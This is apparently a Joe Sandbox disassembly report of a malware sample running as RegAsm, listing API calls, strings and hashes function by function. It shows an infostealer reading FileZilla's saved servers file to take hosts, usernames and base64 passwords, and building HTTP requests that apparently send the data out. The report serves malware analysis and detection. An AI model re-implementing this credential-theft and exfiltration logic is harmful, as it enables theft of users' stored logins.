LoadLibraryA.KERNEL32(01500CB8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(01500D18,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(01500B50,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(01500C28,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01500C40,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75290000,014F2C60), ref: 0041A0DA
GetProcAddress.KERNEL32(75290000,01500DC0), ref: 0041A0F2
GetProcAddress.KERNEL32(75290000,014FAB78), ref: 0041A10A
GetProcAddress.KERNEL32(75290000,01500D60), ref: 0041A123
GetProcAddress.KERNEL32(75290000,014F2AC0), ref: 0041A13B
GetProcAddress.KERNEL32(73B40000,014F42F0), ref: 0041A160
GetProcAddress.KERNEL32(73B40000,014F2AE0), ref: 0041A179
GetProcAddress.KERNEL32(73B40000,014F42A0), ref: 0041A191
GetProcAddress.KERNEL32(73B40000,01500E08), ref: 0041A1A9
GetProcAddress.KERNEL32(73B40000,01500DF0), ref: 0041A1C2
GetProcAddress.KERNEL32(73B40000,014F2BC0), ref: 0041A1DA
GetProcAddress.KERNEL32(73B40000,014F2D40), ref: 0041A1F2
GetProcAddress.KERNEL32(73B40000,01500D90), ref: 0041A20B
GetProcAddress.KERNEL32(752C0000,014F2B00), ref: 0041A22C
GetProcAddress.KERNEL32(752C0000,014F2B40), ref: 0041A244
GetProcAddress.KERNEL32(752C0000,01500BB0), ref: 0041A25D
GetProcAddress.KERNEL32(752C0000,01500CE8), ref: 0041A275
GetProcAddress.KERNEL32(752C0000,014F2B60), ref: 0041A28D
GetProcAddress.KERNEL32(74EC0000,014F42C8), ref: 0041A2B3
GetProcAddress.KERNEL32(74EC0000,014F4368), ref: 0041A2CB
GetProcAddress.KERNEL32(74EC0000,01500D00), ref: 0041A2E3
GetProcAddress.KERNEL32(74EC0000,014F2C80), ref: 0041A2FC
GetProcAddress.KERNEL32(74EC0000,014F2C40), ref: 0041A314
GetProcAddress.KERNEL32(74EC0000,014F43E0), ref: 0041A32C
GetProcAddress.KERNEL32(75BD0000,01500D30), ref: 0041A352
GetProcAddress.KERNEL32(75BD0000,014F2B80), ref: 0041A36A
GetProcAddress.KERNEL32(75BD0000,014FACB8), ref: 0041A382
GetProcAddress.KERNEL32(75BD0000,01500D78), ref: 0041A39B
GetProcAddress.KERNEL32(75BD0000,01500B68), ref: 0041A3B3
GetProcAddress.KERNEL32(75BD0000,014F2D00), ref: 0041A3CB
GetProcAddress.KERNEL32(75BD0000,014F2CA0), ref: 0041A3E4
GetProcAddress.KERNEL32(75BD0000,01500D48), ref: 0041A3FC
GetProcAddress.KERNEL32(75BD0000,01500BC8), ref: 0041A414
GetProcAddress.KERNEL32(75A70000,014F2BA0), ref: 0041A436
GetProcAddress.KERNEL32(75A70000,01500CA0), ref: 0041A44E
GetProcAddress.KERNEL32(75A70000,01500BE0), ref: 0041A466
GetProcAddress.KERNEL32(75A70000,01500B20), ref: 0041A47F
GetProcAddress.KERNEL32(75A70000,01500B38), ref: 0041A497
GetProcAddress.KERNEL32(75450000,014F2CC0), ref: 0041A4B8
GetProcAddress.KERNEL32(75450000,014F29C0), ref: 0041A4D1
GetProcAddress.KERNEL32(75DA0000,014F2CE0), ref: 0041A4F2
GetProcAddress.KERNEL32(75DA0000,01500BF8), ref: 0041A50A
GetProcAddress.KERNEL32(6F090000,014F2D20), ref: 0041A530
GetProcAddress.KERNEL32(6F090000,014F29A0), ref: 0041A548
GetProcAddress.KERNEL32(6F090000,014F29E0), ref: 0041A560
GetProcAddress.KERNEL32(6F090000,01500C58), ref: 0041A579
GetProcAddress.KERNEL32(6F090000,015010C8), ref: 0041A591
GetProcAddress.KERNEL32(6F090000,015011C8), ref: 0041A5A9
GetProcAddress.KERNEL32(6F090000,015012A8), ref: 0041A5C2
GetProcAddress.KERNEL32(6F090000,01501248), ref: 0041A5DA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AF0000,01500C88), ref: 0041A629
GetProcAddress.KERNEL32(75AF0000,014FAD08), ref: 0041A641
GetProcAddress.KERNEL32(75AF0000,01500EB0), ref: 0041A659
GetProcAddress.KERNEL32(75AF0000,01500E20), ref: 0041A672
GetProcAddress.KERNEL32(75D90000,01501068), ref: 0041A693
GetProcAddress.KERNEL32(6F9D0000,01500E68), ref: 0041A6B4
GetProcAddress.KERNEL32(6F9D0000,01500FA8), ref: 0041A6CD
GetProcAddress.KERNEL32(6F9D0000,01500E80), ref: 0041A6E5
GetProcAddress.KERNEL32(6F9D0000,01500E98), ref: 0041A6FD

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,015024E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,01501E00,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,01501F08,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01501FB0,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,01501F20,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,014FE590,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,01501E00,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,01501F08,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01501FB0,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,01501F20,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,01502570,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,01501E00,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,01501F08,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01501FB0,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,01501F20,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,015025D8,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,01501E00,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,01501F08,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01501FB0,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,01501F20,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,01502640,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,01501E00,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,01501F08,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01501FB0,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,01501F20,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,015026A8,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,01501E00,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,01501F08,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01501FB0,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,01501F20,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(2D84C020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,014FAB38,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,01501348), ref: 00407E1E
lstrlenA.KERNEL32(2D84C020), ref: 00407E2B
lstrlenA.KERNEL32(2D84C020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410
login: , xrefs: 004105CA
<Port>, xrefs: 004103C6
<Host>, xrefs: 0041037C
browser: FileZilla, xrefs: 00410559
url: , xrefs: 00410577
password: , xrefs: 004105FB
NA, xrefs: 0041072E, 004106AF, 004106B2
<Pass encoding="base64">, xrefs: 0041045A
profile: null, xrefs: 00410568

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,01502750), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,015027E0,?,01502088,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01502930,00000000,?,015004C8,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
RtlAllocateHeap.NTDLL(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

------, xrefs: 004054F9
------, xrefs: 00405297
------, xrefs: 0040563B
", xrefs: 004055C4
", xrefs: 00405706
------, xrefs: 004053B7
", xrefs: 00405482
--, xrefs: 00405280

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,01502750), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
